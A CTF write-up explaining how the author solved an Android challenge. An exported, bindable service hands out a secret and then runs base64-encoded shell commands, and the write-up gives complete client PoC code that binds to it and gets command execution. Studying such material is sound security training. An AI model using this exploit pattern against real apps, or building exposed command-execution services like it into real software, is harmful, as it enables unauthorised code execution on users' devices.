Watcher
Android challenge writeup
This is the writeup of Watcher challenge in bitwall_ke ctf. I got first blood , it only got 2 solves.
Breakdown
We are provided with an android app , we cant really do anything on it , so we will have to dig through the code.

Decompiling it with JD-GUI we can see there is only one activity and one service what are exportable. Only exportable components of an android application can be useful for and attacker. I use this script to automated finding exportable components » here.
1
2
3
4
5
6
7
8
9
10
11
12
|
<service
android:name="com.example.watcher.WatcherService"
android:enabled="true"
android:exported="true"/>
<activity
android:name="com.example.watcher.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
|
We can look through the code of the WatcherService. You can read more about android services » here
This service is bindable since it was started by the onBind() method. This means that other applications can bind to this service and interact with it. You can read more on types of services in the link above.
Below is the most interesting part of the code . Since this challenge required a poc that executes code on the target application , we need to satify the conditions in the following switch statement. Here you can also see another android feature called » Message. Since we have this information lets build the poc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
public void handleMessage(Message message) {
switch (message.what) {
case 1:
this.echo = message.getData().getString("echo");
Toast.makeText(WatcherService.this.getApplicationContext(), this.echo, 0).show();
break;
case 2:
WatcherService.this.currentRequestedSecret = UUID.randomUUID().toString();
WatcherService.this.sendReply(message, WatcherService.this.currentRequestedSecret);
break;
case 3:
String providedSecret = message.getData().getString("secret");
String command = message.getData().getString("command");
if (command == null || command.isEmpty()) {
WatcherService.this.sendReply(message, "Error");
break;
} else if (WatcherService.this.currentRequestedSecret == null || !WatcherService.this.currentRequestedSecret.equals(providedSecret)) {
WatcherService.this.sendReply(message, "Access Denied: Invalid or Expired Secret");
break;
} else {
try {
String commandOutput = Handlers.executeCommand(command);
WatcherService.this.sendReply(message, commandOutput);
WatcherService.this.currentRequestedSecret = null;
break;
} catch (Exception e) {
WatcherService.this.sendReply(message, "Error");
return;
}
}
break;
default:
super.handleMessage(message);
break;
}
|
To execute the command another class called “Handlers” is called , its code requires the shell command to be double encoded in base64, I missed this the first time i was creating the poc and ran into some errors , had to look closer ;)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
public class Handlers {
public static String executeCommand(String doubleEncodedCommand) throws Exception {
String singleDecodedCommand = null;
if (Build.VERSION.SDK_INT >= 26) {
singleDecodedCommand = new String(Base64.getDecoder().decode(doubleEncodedCommand));
}
String command = null;
if (Build.VERSION.SDK_INT >= 26) {
command = new String(Base64.getDecoder().decode(singleDecodedCommand));
}
Process process = Runtime.getRuntime().exec(command);
StringBuilder output = new StringBuilder();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
try {
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
while (true) {
try {
String line = reader.readLine();
if (line == null) {
break;
}
output.append(line).append("\n");
} finally {
}
}
while (errorReader.readLine() != null) {
output.append("ERROR");
}
int exitValue = process.waitFor();
output.append("Exit Value: ").append(exitValue);
errorReader.close();
reader.close();
return output.toString();
} catch (Throwable th) {
try {
reader.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
throw th;
}
}
}
|
Building the poc
To create the exploit we will need Android studio,a physical mobile device or android emulator with the app installed. Youll also need knowledge on how to write android code.
To interact with android services we need to create a service connection and an incoming handler to receive messages from the service.
The functions below are for binding to the service and requesting the uuid secret from the target app. The message.what value is set to 2 to request MSG_GET_SECRET.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
private final ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
serviceMessenger = new Messenger(service);
isBound = true;
Log.i(TAG, "Service connected");
requestSecret();
}
@Override
public void onServiceDisconnected(ComponentName name) {
serviceMessenger = null;
isBound = false;
Log.i(TAG, "Service disconnected");
}
};
private void requestSecret() {
try {
Message msg = Message.obtain(null, 2);
msg.replyTo = clientMessenger;
serviceMessenger.send(msg);
} catch (RemoteException e) {
Log.e(TAG, "Error requesting secret", e);
}
}
|
After getting the secret with the IncomingHandler we can then send a message with the secret and command strings. The command will then be executed and the output sent back to us. The message.what value is set to 3 to request MSG_RUN_COMMAND.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
class IncomingHandler extends Handler {
IncomingHandler(Looper looper) {
super(looper);
}
@Override
public void handleMessage(Message msg) {
Bundle reply = msg.getData();
if (reply == null) {
Log.e(TAG, "Received empty reply");
return;
}
Log.i(TAG, msg.toString());
switch (msg.what) {
case 2:
obtainedSecret = reply.getString("reply");
Log.i(TAG, "Obtained secret: " + obtainedSecret);
sendCommand("YVdRPQ==");
break;
case 3:
String output = reply.getString("reply");
TextView print = findViewById(R.id.output);
print.setText(output);
Log.i(TAG, "Command output: " + reply);
break;
default:
Log.w(TAG, "Unknown message type: " + msg.what);
}
}
}
private void sendCommand(String command) {
if (!isBound || obtainedSecret == null) {
Log.e(TAG, "Cannot send command - service not bound or no secret");
return;
}
try {
Message msg = Message.obtain(null, 3);
Bundle data = new Bundle();
data.putString("secret", obtainedSecret);
data.putString("command", command);
msg.setData(data);
msg.replyTo = clientMessenger;
serviceMessenger.send(msg);
} catch (RemoteException e) {
Log.e(TAG, "Error sending command", e);
}
}
|
We can then start the chain reaction by binding to the service using the function below. You need to specify the package and classname of the target application.
1
2
3
4
5
6
7
8
|
private void bindService() {
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.example.watcher",
"com.example.watcher.WatcherService"
));
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
|
Last step which really should be the first we need to add a entry to your android manifest since newer android versions prevent random interactions with other application to preserve user privacy. You can read more about this » here.
1
2
3
4
|
<queries>
<!-- Explicit service declaration -->
<package android:name="com.example.watcher" />
</queries>
|
After all this you can compile and run the appplication. I added a TextView to mine so it displays the output on screen.

Some of these content may seem a bit complicated at first but once you get the hang of it its not that hard. GGs to everyone.
Till next time!!
